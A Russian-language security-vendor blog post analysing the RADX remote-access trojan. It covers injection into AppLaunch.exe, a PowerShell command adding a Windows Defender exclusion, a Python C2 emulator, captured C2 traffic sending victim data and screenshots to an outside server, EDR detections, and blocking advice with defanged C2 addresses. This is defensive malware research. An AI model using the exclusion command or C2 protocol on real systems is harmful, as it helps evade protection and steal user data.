Тот самый RAT-троян за 200 рублей: как защититься от RADX

Тот самый RAT-троян за 200 рублей: как защититься от RADX

Всем привет! Меня зовут Валерий Слезкинцев, в Positive Technologies я руковожу направлением реагирования на конечных точках в  отделе обнаружения вредоносного ПО  в PT Expert Security Center (PT ESC). Наша команда занимается исследованиями MaxPatrol EDR в части выявления и реагирования на вредоносную активность на хостах. Мы пишем корреляционные правила для покрытия новых техник злоумышленников, анализируем существующие технологии и подходы к обнаружению и реагированию на угрозы. На основе этих данных пишем proof of concept модулей для последующего внедрения в продукт. Кроме того, наша группа мониторит трендовые атаки и воспроизводит их на лабораторных стендах. Это нужно, чтобы мы были уверены, что MaxPatrol EDR обнаруживает актуальные угрозы и позволяет защитить от них наших клиентов. Так, недавно мы заинтересовались новой серией кибератак с использованием трояна удаленного доступа под названием RADX. Об этом вы могли читать в различных статьях, например  на SecurityLab . И конечно же, нам стало интересно, как MaxPatrol EDR обнаруживает этот троян и реагирует на него. Что мы в итоге узнали, расскажем и покажем в этой статье.

Initial Access

Атака начинается с фишингового письма.

Во вложении есть архив. Мы, имитируя невнимательного и неискушенного пользователя, сохраняем его на диск и распаковываем. Внутри оказывается файл «скрин оплаты за сервер.pdf.exe». Вот как он выглядит в File Explorer при скрытых расширениях.

Статический анализ показал, что это 32-битное консольное приложение, написанное на C/C++.

В коде мы заметили известные приемы обхода средств защиты:

  • API hashing для скрытия подозрительных импортов;

  • шифрование next-stage payload;

  • многократный вызов RegCloseKey (для затруднения динамического анализа).

Программа запускает легитимный процесс C:WindowsMicrosoft.NETFrameworkv4.0.30319AppLaunch.exe с флагом CREATE_SUSPENDED» и внедряет в него вредоносный код через WriteProcessMemory, SetThreadContext и ResumeThread.

Next Stage

Следующая стадия выполняется в контексте легитимного AppLaunch.exe.

Внедрённый код – это приложение .NET, которое устанавливает соединение с C2-сервером и ожидает от него дальнейших команд. Кроме того, оно умеет похищать пользовательские данные, выполнять команды в cmd.exe

Для того чтобы более детально продемонстрировать возможности трояна RADX, мой коллега, ведущий эксперт отдела обнаружения вредоносного ПО Павел Максютин, проэмулировал процесс отправки команд с сервера злоумышленников. Для этого он использовал утилиту FakeNet-NG. В обработчике запросов от RADX мы поддержали следующие команды:

  • cmd — выполнение команды в cmd.exe (wmic process call create calc.exe);

  • stream_start, stream_stop — отправка скриншотов;

  • upload_file — загрузка файла на хост и его запуск (батник с запуском калькулятора);

  • open_link — открытие ссылки в браузере;

  • backup_info — сбор файлов с зараженной машины и их отправка на сервер.

Для того чтобы на тестовой машине работал EDR-агент, добавили его в ProcessBlackList в конфиге FakeNet-NG.

Код обработчика запросов RADX.

import socket
 import json
 import base64
 
 user_uuid = "7dbc8678-05bc-48da-8959-92300520e879"
 default_user_response = {
     "user": {
         "uuid": user_uuid,
         "city": "",
         "country": "",
         "ip": "",
         "postal": "",
         "processor": "",
         "ram": 0,
         "registered_at": "",
         "video_card": "",
         "windows_version": ""
 
     },
     "data": "",
     "filename": "",
     "message": ""
 }
 
 STATE = 0
 
 def send_response(req, message="", data="", filename=""):
     response = default_user_response
     response["message"] = message
     response["data"] = data
     response["filename"] = filename
     response = json.dumps(response).encode()
     req.send_response(200)
     req.send_header('Content-Length', len(response))
     req.send_header('content-type', 'application/json; charset=utf-8')
     req.end_headers()
     req.wfile.write(response)
     print(b'sending response: ', response)
 
 def HandleRequest(req, method, post_data=None):
     global STATE
     print('C2 call:', method, req.path)
 
     if req.path == '/add_user':
         send_response(req)
         STATE = 0
     elif req.path == f'/check/{user_uuid}':
         if STATE == 0:
             send_response(req, "cmd", "wmic process call create calc.exe")
             STATE = 1
         elif STATE == 1:
             send_response(req, "stream_start")
             STATE = 2
         elif STATE == 2:
             send_response(req, "stream_stop")
             STATE = 3
         elif STATE == 3:
             raw = base64.b64encode(b'calc.exe').decode()
             send_response(req, "upload_file", str(raw), "mycalc.bat")
             STATE = 4
         elif STATE == 4:
             send_response(req, "open_link", "http://google.com")
             STATE = 5
         elif STATE == 5:
             send_response(req, "backup_info")
             STATE = 6
     else:
         send_response(req)

Запускаем FakeNet-NG, запускаем EDR-агент, запускаем RADX.

Сразу видим событие, предупреждающее о запуске файла с двойным расширением.


Далее происходит любопытная вещь. Процесс пытается копировать свой image в %LOCALAPPDATA%PackagesMicrosoft.Windows.Accounts.ControlRCP_ruzxpnew4af. В случае первого запуска такой директории еще нет, и возникает исключение DirectoryNotFoundException. В обработчике этого исключения путь к несуществующему файлу в %LOCALAPPDATA%PackagesMicrosoft.Windows.Accounts.ControlRCP_ruzxpnew4af добавляется в исключения Defender, также создается задача в Task Scheduler на запуск этого файла. Причем в случае инжекта в %LOCALAPPDATA%PackagesMicrosoft.Windows.Accounts.ControlRCP_ruzxpnew4af будет скопирован легитимный AppLaunch.exe. Закрепление в системе у RADX явно не продумано.

Итак, задача в Task Scheduler.

В MaxPatrol EDR видим соответствующее событие.

А вот Powershell-команда для добавления AppLaunch.exe в исключения Windows Defender.

ipowershell -Command Add-MpPreference -ExclusionPath "%localappdata%PackagesMicrosoft.Windows.Accounts.ControlRCP_ruzxpnew4afAppLaunch.exe"

Также получаем событие об обнаружении вредоносной активности.

Тем временем устанавливается соединение с C2.

После этого RADX пытается получить IP-адрес жертвы через ipinfo.io/json.

02/16/24 05:43:43 PM [    HTTPListener80]   GET /json HTTP/1.1
02/16/24 05:43:43 PM [ HTTPListener80] Host: ipinfo.io
02/16/24 05:43:43 PM [ HTTPListener80] Connection: Keep-Alive
02/16/24 05:43:43 PM [ HTTPListener80]

Передает на сервер информацию о жертве, получая в ответ свой id.

2/16/24 05:43:45 PM [  HTTPListener1337]   POST /add_user HTTP/1.1
02/16/24 05:43:45 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:45 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:45 PM [ HTTPListener1337] Content-Length: 227
02/16/24 05:43:45 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:45 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:45 PM [ HTTPListener1337]
02/16/24 05:43:45 PM [ HTTPListener1337]
02/16/24 05:43:45 PM [ HTTPListener1337] b' {"ip":"45.88.97.66","country":"DE","postal":"60311","city":"Frankfurt am Main","windows_version":"Microsoft Windows NT 6.3.9600.0","ram":33222656,"video_card":"VMware SVGA 3D","processor":"12th Gen Intel(R) Core(TM) i7-12700H"}'

Далее RADX отправляет check/<id>, что означает, что все готово для получения дальнейших команд.

02/16/24 05:43:47 PM [  HTTPListener1337]   POST /check/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:47 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:47 PM [ HTTPListener1337] Content-Length: 0
02/16/24 05:43:47 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:47 PM [ HTTPListener1337]
02/16/24 05:43:47 PM [ HTTPListener1337]
02/16/24 05:43:47 PM [ HTTPListener1337] b' '

Наш сервер начинает отдавать команды и принимать ответы.

02/16/24 05:43:50 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 05:43:50 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:50 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:50 PM [ HTTPListener1337] Content-Length: 470
02/16/24 05:43:50 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:50 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:50 PM [ HTTPListener1337]
02/16/24 05:43:50 PM [ HTTPListener1337]
02/16/24 05:43:50 PM [ HTTPListener1337] b' {"cmd":"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo="}'

Снимаем Base64.

Microsoft Windows [Version 10.0.19045.3930]
(c) Microsoft Corporation. All rights reserved.

c:Usersvstestradx>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 9684;
ReturnValue = 0;
};

c:Usersvstestradx>exit

В MaxPatrol EDR видим следующее событие.

Далее RADX отправляет сообщение о начале передачи скриншотов.

02/16/24 05:43:55 PM [  HTTPListener1337]   GET /answer_stream_start/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:55 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:55 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:55 PM [ HTTPListener1337]
02/16/24 05:43:55 PM [ HTTPListener1337]

И в следующих нескольких запросах отправляет пачку скриншотов.

02/16/24 05:43:57 PM [  HTTPListener1337]   POST /upload_screenshot/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:57 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:57 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:57 PM [ HTTPListener1337] Content-Length: 290181
02/16/24 05:43:57 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:57 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:57 PM [ HTTPListener1337]
02/16/24 05:43:57 PM [ HTTPListener1337]
02/16/24 05:43:57 PM [ HTTPListener1337] b' {"screenshot":"/9j/4AAQSkZJ … }

После получения команды на прекращение передачи скриншотов отправляет ответ.

02/16/24 05:44:00 PM [  HTTPListener1337]   GET /answer_stream_stop/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:44:00 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:44:00 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:44:00 PM [ HTTPListener1337]
02/16/24 05:44:00 PM [ HTTPListener1337]

Далее следует ответ на команду upload_file.

02/16/24 07:22:29 PM [  HTTPListener1337] Storing HTTP POST headers and data to http_20240216_192229.txt.
02/16/24 07:22:31 PM [ HTTPListener1337] POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:31 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 07:22:31 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:31 PM [ HTTPListener1337] Content-Length: 130
02/16/24 07:22:31 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:31 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:31 PM [ HTTPListener1337]
02/16/24 07:22:31 PM [ HTTPListener1337]
02/16/24 07:22:31 PM [ HTTPListener1337] b' {"cmd":"0KTQsNC50LsgYzpcVXNlcnNcdnNcdGVzdFxyYWR4XG15Y2FsYy5iYXQg0YPRgdC/0LXRiNC90L4g0L7RgtC60YDRi9GCINC90LAg0LrQu9C40LXQvdGC0LUu"}'

Снимаем Base64.

Файл c:Usersvstestradxmycalc.bat успешно открыт на клиенте.

В MaxPatrol EDR видим следующее срабатывание.

Далее видим сообщение об успешно открытой ссылке.

02/16/24 07:22:36 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:36 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 07:22:36 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:36 PM [ HTTPListener1337] Content-Length: 94
02/16/24 07:22:36 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:36 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:36 PM [ HTTPListener1337]
02/16/24 07:22:36 PM [ HTTPListener1337]
02/16/24 07:22:36 PM [ HTTPListener1337] b' {"cmd":"0KHRgdGL0LvQutCwINGD0YHQv9C10YjQvdC+INC+0YLQutGA0YvRgtCwOiBodHRwOi8vZ29vZ2xlLmNvbQ=="}'

Снимаем Base64.

Ссылка успешно открыта: http://google.com

В MaxPatrol EDR видим следующую цепочку запусков.


После этого происходит отправка gzip-архива в ответ на команду backup_info.

02/16/24 07:22:47 PM [  HTTPListener1337]   POST /end-point-c-sharp/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 07:22:47 PM [ HTTPListener1337] Content-Encoding: gzip
02/16/24 07:22:47 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:47 PM [ HTTPListener1337] Content-Length: 68700
02/16/24 07:22:47 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:47 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:47 PM [ HTTPListener1337]
02/16/24 07:22:47 PM [ HTTPListener1337]
02/16/24 07:22:47 PM [ HTTPListener1337] b' x1fx8bx08x00 …

В этом архиве лежит json следующего содержания.


"additionalInfo": {
"ip": "45.88.97.66",
"country": "DE",
"postal": "60311",
"city": "Frankfurt am Main"
},
"DesktopFiles": [
{
"FilePath": "C:UsersvsDesktopavailable_packages.txt",
"FileExtension": ".txt",
"FileContentBase64": "",
"FileName": "available_packages.txt"
},
{
"FilePath": "C:UsersvsDesktopfailed_packages.txt",
"FileExtension": ".txt",
"FileContentBase64": "",
"FileName": "failed_packages.txt"
}
],
"Discord": [],
"Wallets": [],
"Extension": [],
"Telegram": [],
"dataBrowser": {
"Microsoft Edge": {
"localstate": "",
"profiles": [
{
"ProfileName": "DEFAULT",
"Cookies": "",
"Logins": ""
}
]
},
"Chrome": {
"localstate": "",
"profiles": [
{
"ProfileName": "Default",
"Cookies": "",
"Logins": ""
}
]
}
}
}

Мы попросили коллег из команды обнаружения вредоносного ПО в сетевом трафике проверить PCAP, собранный с помощью FakeNet-NG, нашими внутренними инструментами для анализа сетевого трафика и получили детект. Это означает, что система поведенческого анализа сетевого трафика Positive Technologies — PT Network Attack Discovery — также обнаружит сетевой трафик RADX.

Рекомендации по настройке реагирования

Для эффективного реагирования пользователю необходимо добавить в политику MaxPatrol EDR следующие модули:

  • завершение процессов;

  • блокировка по IP-адресу;

  • отправка файлов в PT Sandbox.

На событие Malware_Trojan_Win32_Generic_a рекомендуется настроить действие «Завершить процесс», так как это событие с высокой долей вероятности является вредоносным.

Событие Double_File_Extension_Masquerading также является подозрительным. Имеет смысл отправлять такие файлы на проверку в песочницу, например в PT Sandbox.

Вот результат поведенческого анализа PT Sandbox для файла «скрин оплаты за сервер.pdf.exe».

Троян
Обнаруженное опасное ПО
Троян (Trojan.Win32.Inject.a)
Троян (Trojan.Win32.Generic.a)
Троян (Trojan.Win32.Generic.f)
Подозрительное поведение
10/10 Create.Process.Inject.ResumeThread
10/10 Write.Process.Inject.SetThreadContext (MITRE ATT&CK ID: T1055)
10/10 Create.Process.WinDef.AddExclusion (MITRE ATT&CK ID: T1562)
10/10 Create.Process.PowerShell.LongExecution (MITRE ATT&CK ID: T1059)
5/10 Create.Process.DotNet.RestrictionsBypass
5/10 Create.Process.PowerShell.CommandExecution
2/10 Read.Window.Handle.Enumeration (MITRE ATT&CK ID: T1010)

Также в качестве меры реагирования рекомендуется в модуль блокировки по IP-адресу добавить адреса C2.

  • 194.58.33[.]165

  • 194.36.177[.]30

  • 178.250.186[.]7

  • 185.46.46[.]137

  • 213.248.43[.]119

  • 195.10.205[.]20

  • 213.248.43[.]55

  • 213.248.43[.]96

  • 213.248.43[.]105

  • 176.59.209[.]82

  • 213.248.43[.]87

  • 194.61.2[.]208

  • 194.87.248[.]22

  • 213.248.43[.]106

  • 37.79.32[.]101

  • 213.248.43[.]62

  • 213.248.43[.]24

  • 95.216.102[.]32

  • 193.233.80[.]136

  • 185.103.101[.]24

  • 178.250.186[.]3

  • 64.225.64[.]175

  • 45.138.74[.]20

  • 194.58.70[.]35

  • 213.248.43[.]38

  • 93.159.221[.]78

  • 82.115.223[.]57

  • 193.233.255[.]85 

Что будет дальше и как с этим жить

Как обычно, это самые важные и риторические вопросы для человека, но мы-то привыкли все проверять на практике и действовать проактивно. Для обеспечения безопасности клиентов важно не только обнаруживать вредоносную активность, но и уметь ее предотвращать. Сейчас мы работаем над модулями, которые позволят предотвратить выполнение вредоносного процесса и не дать злоумышленнику провести атаку в принципе. Предотвращение может быть выполнено как на этапе запуска процесса «скрин оплаты за сервер.pdf.exe» путем проверки его хеш-суммы по базе IoC, так и на этапе инжекта в легитимный AppLaunch.exe. А на случай использования ранее неизвестного образца ВПО, например эксплуатирующего уязвимость нулевого дня для выполнения вредоносного кода, мы готовим ML-решение, позволяющее выявлять аномальное поведение. Следите за обновлениями MaxPatrol EDR, будем рады делиться с вами результатами его развития.

Alt text

Ваш провайдер знает о вас больше, чем ваша девушка?

Присоединяйтесь и узнайте, как это остановить!